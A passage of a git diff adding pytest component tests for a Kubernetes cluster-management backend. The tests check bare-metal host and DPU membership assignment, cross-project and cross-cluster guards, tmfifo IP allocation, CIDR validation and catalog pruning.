enum validation on POST /bnk-config.""" + + def test_control_plane_host_from_other_project_returns_404( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A CP host FK pointing at another project's host must 404, not silently persist.""" + from models.bare_metal import BareMetalHost + + owner_project = make_project(name="cfg-owner") + other_project = make_project(name="cfg-other") + cluster = make_k8s_cluster(project=owner_project) + + foreign_host = BareMetalHost( + project_id=other_project.id, name="foreign", host_ip="10.130.0.1", + ) + db.add(foreign_host) + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-config", + json={"control_plane_host_id": foreign_host.id}, + headers=admin_headers, + ) + assert response.status_code == 404, response.text + + def test_garbage_join_transport_returns_422( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """join_transport is Literal['rshim','mgmt'] — anything else is a 422.""" + project = make_project(name="cfg-jt") + cluster = make_k8s_cluster(project=project) + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-config", + json={"join_transport": "garbage"}, + headers=admin_headers, + ) + assert response.status_code == 422, response.text + + def test_bnk_config_moving_cp_host_syncs_is_control_plane( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """POST /bnk-config moving the CP from H1→H2 must keep is_control_plane in sync + with control_plane_host_id (ADR-424 cold audit B). + + Without the fix, cfg.control_plane_host_id can point to H2 while H1 still + carries is_control_plane=True, giving kubeadm-init two conflicting targets. + """ + from models.bare_metal import BareMetalHost + from services.bnk_cluster_service import BnkClusterService + + project = make_project(name="cp-sync") + cluster = make_k8s_cluster(project=project) + + h1 = BareMetalHost(project_id=project.id, name="cp-h1", host_ip="10.140.0.1") + h2 = BareMetalHost(project_id=project.id, name="cp-h2", host_ip="10.140.0.2") + db.add_all([h1, h2]) + db.commit() + + # First call: establish H1 as CP and member. + svc = BnkClusterService(db) + svc.assign_members( + cluster_id=cluster.id, + control_plane_host_id=h1.id, + host_ids=[h1.id, h2.id], + dpu_ids=[], + ) + db.commit() + + db.expire_all() + assert h1.is_control_plane is True + assert h2.is_control_plane is False + + # Now move CP to H2 via POST /bnk-config (no member re-send). + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-config", + json={"control_plane_host_id": h2.id}, + headers=admin_headers, + ) + assert response.status_code == 200, response.text + body = response.json() + assert body["control_plane_host_id"] == h2.id + + # is_control_plane flags must track the new assignment. + db.expire_all() + assert h1.is_control_plane is False, "H1 must lose is_control_plane after CP moves to H2" + assert h2.is_control_plane is True, "H2 must gain is_control_plane after CP moves to H2" diff --git a/backend/tests/component/test_bnk_cluster_member_assignment.py b/backend/tests/component/test_bnk_cluster_member_assignment.py new file mode 100644 index 00000000..34573e8f --- /dev/null +++ b/backend/tests/component/test_bnk_cluster_member_assignment.py @@ -0,0 +1,824 @@ +"""Component tests for BNK multi-host cluster member assignment (ADR-424). + +Covers the review findings: + M1 — unique-index backstop: duplicate tmfifo IP raises IntegrityError -> ValidationError + M2 — cross-project 404: host/DPU from another project cannot be attached + M3 — destructive-defaults: custom pool CIDR not reset on re-call + M3 — reconciliation: changing CP host doesn't leave two is_control_plane=True rows + +All tests use TestClient (HTTP layer) against the shared SQLite test DB +so they exercise the full request path including auth middleware. +""" + +import pytest + +from models.bare_metal import BareMetalHost +from models.dpu import Dpu +from models.kubernetes import BnkClusterConfig, KubernetesCluster + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _make_project(db, name="test-project"): + from models import Project + n = _make_project._n = getattr(_make_project, "_n", 0) + 1 + p = Project( + name=f"{name}-{n}", + description="test", + project_type="kubernetes", + cloud_provider="on-prem", + environment="dev", + backend_type="local", + color="#aabbcc", + icon="cloud", + is_active=True, + ) + db.add(p) + db.flush() + return p + + +def _make_cluster(db, project, name="cluster"): + _make_cluster._n = getattr(_make_cluster, "_n", 0) + 1 + c = KubernetesCluster( + name=f"{name}-{_make_cluster._n}", + context=f"ctx-{_make_cluster._n}", + project_id=project.id, + api_server=f"https://k8s-{_make_cluster._n}.example.com:6443", + status="active", + ) + db.add(c) + db.flush() + return c + + +def _make_host(db, project, host_ip=None, name=None): + _make_host._n = getattr(_make_host, "_n", 0) + 1 + n = _make_host._n + h = BareMetalHost( + project_id=project.id, + name=name or f"host-{n}", + host_ip=host_ip or f"10.0.0.{n}", + ) + db.add(h) + db.flush() + return h + + +def _make_dpu(db, project, host_node_ip=None, name=None): + _make_dpu._n = getattr(_make_dpu, "_n", 0) + 1 + n = _make_dpu._n + d = Dpu( + project_id=project.id, + name=name or f"dpu-{n}", + access_mode="in-band", + host_node_ip=host_node_ip or f"10.0.0.{n}", + oob0_ipv4="dhcp", + ) + db.add(d) + db.flush() + return d + + +# --------------------------------------------------------------------------- +# M1 — unique-index backstop +# --------------------------------------------------------------------------- + +class TestIpamUniqueIndexBackstop: + """Directly inserting a duplicate (cluster_id, dpu_tmfifo_ip) raises an error.""" + + def test_duplicate_tmfifo_ip_raises_integrity_error(self, db): + """Two DPUs with the same dpu_tmfifo_ip in the same cluster violate the index.""" + from sqlalchemy.exc import IntegrityError + + project = _make_project(db, "ipam-test") + cluster = _make_cluster(db, project) + + dpu1 = _make_dpu(db, project, host_node_ip="10.1.0.1") + dpu2 = _make_dpu(db, project, host_node_ip="10.1.0.2") + + # Manually assign the same IP to both DPUs — bypasses service-level lock. + dpu1.kubernetes_cluster_id = cluster.id + dpu1.dpu_tmfifo_ip = "192.168.100.2" + dpu1.host_tmfifo_ip = "192.168.100.1" + db.add(dpu1) + db.flush() + + dpu2.kubernetes_cluster_id = cluster.id + dpu2.dpu_tmfifo_ip = "192.168.100.2" # duplicate + dpu2.host_tmfifo_ip = "192.168.100.1" + db.add(dpu2) + + with pytest.raises(IntegrityError): + db.flush() + + def test_unique_ips_accepted(self, db): + """Two DPUs with different tmfifo IPs in the same cluster are valid.""" + project = _make_project(db, "ipam-ok") + cluster = _make_cluster(db, project) + + dpu1 = _make_dpu(db, project, host_node_ip="10.2.0.1") + dpu2 = _make_dpu(db, project, host_node_ip="10.2.0.2") + + dpu1.kubernetes_cluster_id = cluster.id + dpu1.dpu_tmfifo_ip = "192.168.100.2" + dpu1.host_tmfifo_ip = "192.168.100.1" + db.add(dpu1) + db.flush() + + dpu2.kubernetes_cluster_id = cluster.id + dpu2.dpu_tmfifo_ip = "192.168.100.6" # next /30 + dpu2.host_tmfifo_ip = "192.168.100.5" + db.add(dpu2) + db.flush() # no exception + + db.expire_all() + assert dpu1.dpu_tmfifo_ip == "192.168.100.2" + assert dpu2.dpu_tmfifo_ip == "192.168.100.6" + + +# --------------------------------------------------------------------------- +# M2 — cross-project 404 +# --------------------------------------------------------------------------- + +class TestAssignMembersCrossProjectGuard: + """Hosts / DPUs from another project cannot be attached to a cluster.""" + + def test_host_from_other_project_returns_404( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """POST /bnk-members with a host from a different project returns 404.""" + owner_project = make_project(name="owner-project") + other_project = make_project(name="other-project") + cluster = make_k8s_cluster(project=owner_project) + + # Host belongs to other_project, not owner_project + foreign_host = _make_host(db, other_project, host_ip="10.99.0.1") + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": foreign_host.id, + "host_ids": [foreign_host.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert response.status_code == 404, response.text + + def test_dpu_from_other_project_returns_404( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """POST /bnk-members with a DPU from a different project returns 404.""" + owner_project = make_project(name="owner-proj2") + other_project = make_project(name="other-proj2") + cluster = make_k8s_cluster(project=owner_project) + + # Host is in the right project + host = _make_host(db, owner_project, host_ip="10.50.0.1") + # DPU is in the wrong project + foreign_dpu = _make_dpu(db, other_project, host_node_ip="10.50.0.1") + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [foreign_dpu.id], + }, + headers=admin_headers, + ) + assert response.status_code == 404, response.text + + +# --------------------------------------------------------------------------- +# M3 — destructive defaults: custom pool CIDR not reset on re-call +# --------------------------------------------------------------------------- + +class TestAssignMembersDoesNotResetCustomCidr: + """Re-calling assign_members without tmfifo_pool_cidr must not reset a custom value.""" + + def test_omitting_cidr_preserves_custom_value( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A custom pool CIDR set on the first call is preserved when omitted on the second.""" + project = make_project(name="cidr-preserve") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.60.0.1") + db.commit() + + # First call: set a custom CIDR + r1 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + "tmfifo_pool_cidr": "10.100.0.0/24", + }, + headers=admin_headers, + ) + assert r1.status_code == 200, r1.text + assert r1.json()["bnk_config"]["tmfifo_pool_cidr"] == "10.100.0.0/24" + + # Second call: omit tmfifo_pool_cidr (None default) + r2 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r2.status_code == 200, r2.text + assert r2.json()["bnk_config"]["tmfifo_pool_cidr"] == "10.100.0.0/24", ( + "Custom pool CIDR was reset to default when tmfifo_pool_cidr was omitted" + ) + + +# --------------------------------------------------------------------------- +# M3 — reconciliation: CP host change doesn't leave two is_control_plane=True +# --------------------------------------------------------------------------- + +class TestAssignMembersCpHostReconciliation: + """Changing the control-plane host must not leave two is_control_plane=True rows.""" + + def test_changing_cp_host_clears_old_cp_flag( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """After changing CP host, the old CP host must have is_control_plane=False.""" + project = make_project(name="cp-reconcile") + cluster = make_k8s_cluster(project=project) + host_a = _make_host(db, project, host_ip="10.70.0.1", name="host-a") + host_b = _make_host(db, project, host_ip="10.70.0.2", name="host-b") + db.commit() + + # First call: host_a is CP + r1 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host_a.id, + "host_ids": [host_a.id, host_b.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r1.status_code == 200, r1.text + + db.expire_all() + assert host_a.is_control_plane is True + assert host_b.is_control_plane is False + + # Second call: host_b becomes CP + r2 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host_b.id, + "host_ids": [host_a.id, host_b.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r2.status_code == 200, r2.text + + db.expire_all() + assert host_b.is_control_plane is True, "host_b should now be CP" + assert host_a.is_control_plane is False, "host_a must not still be CP after CP host change" + + def test_removing_cp_host_from_cluster_clears_cp_flag( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A host removed from the cluster must have is_control_plane cleared.""" + project = make_project(name="cp-remove") + cluster = make_k8s_cluster(project=project) + host_a = _make_host(db, project, host_ip="10.80.0.1", name="host-a2") + host_b = _make_host(db, project, host_ip="10.80.0.2", name="host-b2") + db.commit() + + # First call: host_a is CP, both hosts in cluster + r1 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host_a.id, + "host_ids": [host_a.id, host_b.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r1.status_code == 200, r1.text + + # Second call: only host_b remains, host_b becomes CP + r2 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host_b.id, + "host_ids": [host_b.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r2.status_code == 200, r2.text + + db.expire_all() + assert host_a.kubernetes_cluster_id is None, "Removed host must be unassigned from cluster" + assert host_a.is_control_plane is False, "Removed host must not remain is_control_plane" + assert host_b.is_control_plane is True + + +# --------------------------------------------------------------------------- +# Fix 1 — /31 pool CIDR must yield 422, never 500 +# --------------------------------------------------------------------------- + +class TestShortPoolCidrRejected: + """A pool CIDR too short to fit a /30 must be rejected with 422, not 500.""" + + def test_slash31_pool_cidr_returns_422_via_bnk_members( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """POST /bnk-members with a /31 pool CIDR returns 422 Unprocessable Entity.""" + project = make_project(name="cidr-short-members") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.90.0.1") + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + "tmfifo_pool_cidr": "192.168.100.0/31", + }, + headers=admin_headers, + ) + assert response.status_code == 422, ( + f"Expected 422 for /31 pool CIDR, got {response.status_code}: {response.text}" + ) + + def test_slash31_pool_cidr_returns_422_via_bnk_config( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """POST /bnk-config with a /31 pool CIDR returns 422 Unprocessable Entity.""" + project = make_project(name="cidr-short-config") + cluster = make_k8s_cluster(project=project) + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-config", + json={"tmfifo_pool_cidr": "10.0.0.0/31"}, + headers=admin_headers, + ) + assert response.status_code == 422, ( + f"Expected 422 for /31 pool CIDR, got {response.status_code}: {response.text}" + ) + + def test_slash32_pool_cidr_returns_422( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A /32 host address is also too short to fit a /30.""" + project = make_project(name="cidr-short-32") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.91.0.1") + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + "tmfifo_pool_cidr": "192.168.100.0/32", + }, + headers=admin_headers, + ) + assert response.status_code == 422, ( + f"Expected 422 for /32 pool CIDR, got {response.status_code}: {response.text}" + ) + + def test_exactly_slash30_is_accepted( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A /30 pool CIDR is the minimum valid size and must be accepted.""" + project = make_project(name="cidr-exact-30") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.92.0.1") + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + "tmfifo_pool_cidr": "192.168.200.0/30", + }, + headers=admin_headers, + ) + assert response.status_code == 200, ( + f"Expected 200 for /30 pool CIDR, got {response.status_code}: {response.text}" + ) + + +# --------------------------------------------------------------------------- +# Fix 3 — assign route persists after commit moved to route handler +# --------------------------------------------------------------------------- + +class TestAssignMembersPersistence: + """Membership changes must survive session close (route must commit).""" + + def test_assign_members_persists_host_after_commit( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """POST /bnk-members must commit so host.kubernetes_cluster_id is readable + in a subsequent DB query (simulating a GET after the POST). + """ + project = make_project(name="persist-test") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.93.0.1") + db.commit() + + # Spy: verify db.commit() is called by the route handler. + real_commit = db.commit + commit_calls: list[bool] = [] + + def _spy_commit(): + commit_calls.append(True) + return real_commit() + + db.commit = _spy_commit + try: + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + finally: + db.commit = real_commit + + assert response.status_code == 200, response.text + assert commit_calls, ( + "assign_bnk_cluster_members route did not call db.commit() — " + "membership changes will be lost when get_db closes the session." + ) + + # Simulate a GET: expire the identity map and re-read from DB. + db.expire_all() + assert host.kubernetes_cluster_id == cluster.id, ( + "host.kubernetes_cluster_id not set after route committed — " + "assign_members must flush+commit, not just flush." + ) + + +# --------------------------------------------------------------------------- +# Fix — DPU removal from dpu_ids releases tmfifo allocation +# --------------------------------------------------------------------------- + +class TestRemovingDpuFromDpuIdsReleasesTmfifo: + """A DPU absent from dpu_ids on a re-call must have its /30 released even + when its owner host remains in the cluster.""" + + def test_removing_dpu_from_dpu_ids_releases_tmfifo_allocation( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """Assign a cluster with one DPU, re-assign with that DPU absent, assert + its kubernetes_cluster_id and dpu_tmfifo_ip are cleared.""" + project = make_project(name="dpu-deselect") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.95.0.1") + dpu = _make_dpu(db, project, host_node_ip="10.95.0.1") + db.commit() + + # First call: host + DPU both assigned. + r1 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [dpu.id], + }, + headers=admin_headers, + ) + assert r1.status_code == 200, r1.text + + db.expire_all() + assert dpu.kubernetes_cluster_id == cluster.id, "DPU should be in cluster after first call" + assert dpu.dpu_tmfifo_ip is not None, "DPU should have a tmfifo IP after first call" + + # Second call: host still present, but DPU removed from dpu_ids. + r2 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r2.status_code == 200, r2.text + + db.expire_all() + assert dpu.kubernetes_cluster_id is None, ( + "DPU must be removed from cluster when absent from dpu_ids, even if its host stays" + ) + assert dpu.dpu_tmfifo_ip is None, ( + "DPU tmfifo IP must be released when DPU is removed from dpu_ids" + ) + # Host must remain in cluster. + assert host.kubernetes_cluster_id == cluster.id, "Host must still be in the cluster" + assert host.is_control_plane is True + + +# --------------------------------------------------------------------------- +# #4 — cross-cluster steal guard: a member owned by another cluster in the +# same project is always rejected (409). The former reassign=True bypass was +# removed (ADR-424 cold audit C) — the guard is now unconditional. +# --------------------------------------------------------------------------- + +class TestAssignMembersCrossClusterGuard: + """Opening the dialog on cluster B must not silently re-home cluster A's members.""" + + def test_host_in_other_cluster_returns_409( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + project = make_project(name="xcluster-host") + cluster_a = make_k8s_cluster(project=project) + cluster_b = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.120.0.1") + db.commit() + + # Assign host to cluster A. + r1 = client.post( + f"/api/k8s/clusters/{cluster_a.id}/bnk-members", + json={"control_plane_host_id": host.id, "host_ids": [host.id], "dpu_ids": []}, + headers=admin_headers, + ) + assert r1.status_code == 200, r1.text + + # Attempt to move it to cluster B → always 409 (no bypass). + r2 = client.post( + f"/api/k8s/clusters/{cluster_b.id}/bnk-members", + json={"control_plane_host_id": host.id, "host_ids": [host.id], "dpu_ids": []}, + headers=admin_headers, + ) + assert r2.status_code == 409, r2.text + + # Host must still belong to cluster A (unchanged). + db.expire_all() + assert host.kubernetes_cluster_id == cluster_a.id + + +# --------------------------------------------------------------------------- +# ADR-424 finding B — auto-registration delete path releases tmfifo IPs +# --------------------------------------------------------------------------- + +# --------------------------------------------------------------------------- +# B6 — bulk_cluster_membership + serialize_cluster bnk_config branch +# --------------------------------------------------------------------------- + +class TestBulkClusterMembership: + """bulk_cluster_membership must bucket hosts and DPUs correctly by cluster_id. + + Exercises the path that list_all_clusters / list_project_clusters take: + bnk_config present → membership fetched in bulk → serialize_cluster renders + host_ids / dpu_ids without N+1 queries and without cross-cluster leakage. + """ + + def test_hosts_and_dpus_bucketed_by_cluster(self, db): + """host_ids and dpu_ids are sorted per cluster with no cross-cluster leakage.""" + from services.bnk_cluster_service import BnkClusterService + + project = _make_project(db, "bulk-membership") + cluster_a = _make_cluster(db, project) + cluster_b = _make_cluster(db, project) + + host_a = _make_host(db, project, host_ip="10.10.0.1") + host_b = _make_host(db, project, host_ip="10.10.0.2") + dpu_a = _make_dpu(db, project, host_node_ip="10.10.0.1") + + host_a.kubernetes_cluster_id = cluster_a.id + host_b.kubernetes_cluster_id = cluster_b.id + dpu_a.kubernetes_cluster_id = cluster_a.id + db.flush() + db.commit() + + result = BnkClusterService(db).bulk_cluster_membership([cluster_a.id, cluster_b.id]) + + # Cluster A: one host, one DPU. + host_ids_a, dpu_ids_a = result[cluster_a.id] + assert host_ids_a == [host_a.id], "cluster A must have exactly host_a" + assert dpu_ids_a == [dpu_a.id], "cluster A must have exactly dpu_a" + + # Cluster B: one host, no DPUs. + host_ids_b, dpu_ids_b = result[cluster_b.id] + assert host_ids_b == [host_b.id], "cluster B must have exactly host_b" + assert dpu_ids_b == [], "cluster B must have no DPUs" + + # No cross-cluster contamination. + assert host_b.id not in host_ids_a, "host_b must not appear in cluster A" + assert host_a.id not in host_ids_b, "host_a must not appear in cluster B" + + def test_serialize_cluster_with_bnk_config_and_members( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """The project-scoped cluster list renders bnk_config.host_ids / dpu_ids + correctly; the instance-wide global list redacts bnk_config (#116). + + Verifies _serialize_bnk_config branch (bnk_config present on the + project-scoped list) and that host IDs do not leak into the dpu_ids + bucket (B6). The subject moved from the global list to the project list + because #116 redacts bnk_config on the global path -- so this also pins + the redaction: present when project-scoped, absent when global. + + Two hosts and two DPUs ensure that IDs are distinct across the tables + (SQLite auto-increments per-table from 1, so IDs can coincide with a + single host + single DPU; using two of each forces divergence so the + cross-bucket assertion is meaningful). + """ + project = make_project(name="serialize-bnk") + cluster = make_k8s_cluster(project=project) + # Create two hosts and two DPUs to guarantee distinct integer IDs. + host1 = _make_host(db, project, host_ip="10.11.0.1", name="h-serialize-1") + host2 = _make_host(db, project, host_ip="10.11.0.2", name="h-serialize-2") + dpu1 = _make_dpu(db, project, host_node_ip="10.11.0.1", name="dpu-serialize-1") + dpu2 = _make_dpu(db, project, host_node_ip="10.11.0.2", name="dpu-serialize-2") + db.commit() + + # Assign both hosts and both DPUs so membership is non-trivial. + r = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host1.id, + "host_ids": [host1.id, host2.id], + "dpu_ids": [dpu1.id, dpu2.id], + }, + headers=admin_headers, + ) + assert r.status_code == 200, r.text + + # Project-scoped list — exercises bulk_cluster_membership + serialize_cluster, + # and is the surface that still renders bnk_config after #116. + resp = client.get( + f"/api/projects/{project.id}/k8s/clusters", headers=admin_headers + ) + assert resp.status_code == 200, resp.text + + clusters = resp.json()["clusters"] + target = next((c for c in clusters if c["id"] == cluster.id), None) + assert target is not None, f"cluster {cluster.id} not in response" + + bnk = target.get("bnk_config") + assert bnk is not None, "bnk_config must be present on the project-scoped list" + + assert sorted(bnk["host_ids"]) == sorted([host1.id, host2.id]), ( + f"host_ids must contain the two assigned hosts, got {bnk['host_ids']}" + ) + assert sorted(bnk["dpu_ids"]) == sorted([dpu1.id, dpu2.id]), ( + f"dpu_ids must contain the two assigned DPUs, got {bnk['dpu_ids']}" + ) + # Cross-bucket guard: dpu_ids must be exactly the DPU set — no extras. + assert len(bnk["dpu_ids"]) == 2, ( + f"dpu_ids must have exactly 2 entries (no host leakage), got {bnk['dpu_ids']}" + ) + assert len(bnk["host_ids"]) == 2, ( + f"host_ids must have exactly 2 entries (no DPU leakage), got {bnk['host_ids']}" + ) + + # #116: the instance-wide global list must NOT leak bnk_config to any + # viewer, even though the same cluster carries it on the project list. + global_resp = client.get("/api/k8s/clusters", headers=admin_headers) + assert global_resp.status_code == 200, global_resp.text + global_target = next( + (c for c in global_resp.json()["clusters"] if c["id"] == cluster.id), None + ) + assert global_target is not None + assert global_target.get("bnk_config") is None, ( + "global list leaked bnk_config cross-project (#116)" + ) + + +# --------------------------------------------------------------------------- +# B6 — _require_cp_member=True BadRequestError path +# --------------------------------------------------------------------------- + +class TestRequireCpMemberBadRequestError: + """POST /bnk-config must reject a control_plane_host_id that exists in the + project but is NOT yet a member of the cluster (ADR-424 minor).""" + + def test_cp_host_not_a_member_returns_400( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A host that belongs to the project but is not in the cluster must + return 400 with a 'not a member' message when set as control_plane_host_id + via POST /bnk-config (which uses _require_cp_member=True).""" + project = make_project(name="cp-not-member") + cluster = make_k8s_cluster(project=project) + # Host exists in the project but has never been assigned to this cluster. + host = _make_host(db, project, host_ip="10.12.0.1") + db.commit() + + response = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-config", + json={"control_plane_host_id": host.id}, + headers=admin_headers, + ) + assert response.status_code == 400, ( + f"Expected 400 when CP host is not a cluster member, got {response.status_code}: {response.text}" + ) + assert "not a member" in response.text.lower(), ( + f"Expected 'not a member' in error message, got: {response.text}" + ) + + def test_cp_host_that_is_member_accepted( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """A host that IS a cluster member can be set as control_plane_host_id via + POST /bnk-config without error.""" + project = make_project(name="cp-is-member") + cluster = make_k8s_cluster(project=project) + host = _make_host(db, project, host_ip="10.13.0.1") + db.commit() + + # First assign the host to the cluster. + r1 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-members", + json={ + "control_plane_host_id": host.id, + "host_ids": [host.id], + "dpu_ids": [], + }, + headers=admin_headers, + ) + assert r1.status_code == 200, r1.text + + # Now set it as CP via bnk-config — should succeed. + r2 = client.post( + f"/api/k8s/clusters/{cluster.id}/bnk-config", + json={"control_plane_host_id": host.id}, + headers=admin_headers, + ) + assert r2.status_code == 200, ( + f"Expected 200 when CP host is a member, got {r2.status_code}: {r2.text}" + ) + + +class TestAutoRegistrationDeleteReleasesTmfifo: + """maybe_unregister_container_cluster must clear DPU tmfifo IPs via the + before_delete listener — previously this path bypassed the release loop + that only existed in ClusterManagementService.delete_cluster (ADR-424 B). + """ + + def test_auto_unregister_releases_dpu_tmfifo_ips(self, db): + """Deleting a cluster via maybe_unregister_container_cluster releases + all bound DPU tmfifo allocations (host_tmfifo_ip and dpu_tmfifo_ip are + cleared; kubernetes_cluster_id is set to NULL).""" + from types import SimpleNamespace + + from services.cluster_auto_registration_service import maybe_unregister_container_cluster + + project = _make_project(db, "auto-reg-tmfifo") + + # Use a SimpleNamespace stub — maybe_unregister_container_cluster only + # reads module.id and module.project_id, so no real DB row needed. + module_stub = SimpleNamespace(id=9999, project_id=project.id) + + # Simulate an auto-registered cluster: cluster with source_module_id in meta_data. + cluster = _make_cluster(db, project, name="auto-cluster") + cluster.meta_data = {"source_module_id": module_stub.id} + db.flush() + + # Bind a DPU with tmfifo allocations. + dpu = _make_dpu(db, project, host_node_ip="10.200.0.1") + dpu.kubernetes_cluster_id = cluster.id + dpu.host_tmfifo_ip = "192.168.100.1" + dpu.dpu_tmfifo_ip = "192.168.100.2" + db.add(dpu) + db.commit() + + assert dpu.kubernetes_cluster_id == cluster.id + assert dpu.host_tmfifo_ip is not None + assert dpu.dpu_tmfifo_ip is not None + + # Unregister the cluster (simulates module destroy). + result = maybe_unregister_container_cluster(db, module_stub) + db.flush() + + assert result is True, "Cluster should have been found and unregistered" + + db.expire_all() + assert dpu.kubernetes_cluster_id is None, ( + "DPU kubernetes_cluster_id must be cleared by the before_delete listener" + ) + assert dpu.host_tmfifo_ip is None, ( + "host_tmfifo_ip must be released when cluster is auto-unregistered (ADR-424 B)" + ) + assert dpu.dpu_tmfifo_ip is None, ( + "dpu_tmfifo_ip must be released when cluster is auto-unregistered (ADR-424 B)" + ) diff --git a/backend/tests/component/test_catalog_prune_db.py b/backend/tests/component/test_catalog_prune_db.py new file mode 100644 index 00000000..d6906298 --- /dev/null +++ b/backend/tests/component/test_catalog_prune_db.py @@ -0,0 +1,243 @@ +"""Catalog pruning against a real database. + +The unit tests drive a MagicMock session, which covers the grouping and refusal +logic well but cannot see what the database actually does — ``db.delete(row)`` +on a mock is a recorded call, so the ORM cascade behind it is invisible. That +matters here more than usual: + +``ModuleLibrary.project_modules`` is declared ``cascade="all, delete-orphan"``, +so deleting a referenced ModuleLibrary takes the project's ProjectModule row +with it, silently — the NOT NULL on ``module_library_id`` never gets a chance to +fire. And ``stack_instances.blueprint_release_id`` is ``ON DELETE SET NULL``, so +deleting a deployed release quietly strips the stack of its provenance instead +of failing. + +Neither failure raises. Both destroy data. So the guards need testing where the +cascade can actually happen. +""" + +from __future__ import annotations + +import pytest + +from core.errors import InternalError +from models import BlueprintRelease, ModuleLibrary, ModuleSource, ProjectModule +from models.blueprint_catalog import BlueprintSource +from models.stack import StackInstance +from services.catalog_prune_service import prune_blueprint_source, prune_module_source +from tests.factories import ( + ModuleLibraryFactory, + ProjectModuleFactory, + StackInstanceFactory, +) + +_seq = iter(range(1, 10_000)) + + +def _module_source(db) -> ModuleSource: + """No factory exists for these yet; build the minimum the columns require.""" + src = ModuleSource( + name=f"mod-source-{next(_seq)}", source_type="git", url="https://example.invalid/m.git" + ) + db.add(src) + db.flush() + return src + + +def _blueprint_source(db) -> BlueprintSource: + """No factory exists for these yet; build the minimum the columns require.""" + src = BlueprintSource( + name=f"bp-source-{next(_seq)}", source_type="git", url="https://example.invalid/bp.git" + ) + db.add(src) + db.flush() + return src + + +def _release(db, source, blueprint_id, version) -> BlueprintRelease: + rel = BlueprintRelease( + blueprint_source_id=source.id, + blueprint_id=blueprint_id, + blueprint_version=version, + blueprint_name=f"{blueprint_id} {version}", + schema_version=1, + manifest={}, + content_sha256=f"{next(_seq):064d}", + is_active=True, + ) + db.add(rel) + db.flush() + return rel + + +def _versions(db, source, path, versions): + return [ + ModuleLibraryFactory(db, path=path, version=v, module_source_id=source.id, is_active=True) + for v in versions + ] + + +@pytest.mark.component +class TestModulePruneAgainstTheDatabase: + def test_delete_never_takes_a_projects_module_with_it(self, db): + """The cascade this guard exists for, exercised where it can fire.""" + source = _module_source(db) + old, new = _versions(db, source, "modules/app", ["1.0.0", "2.0.0"]) + pinned = 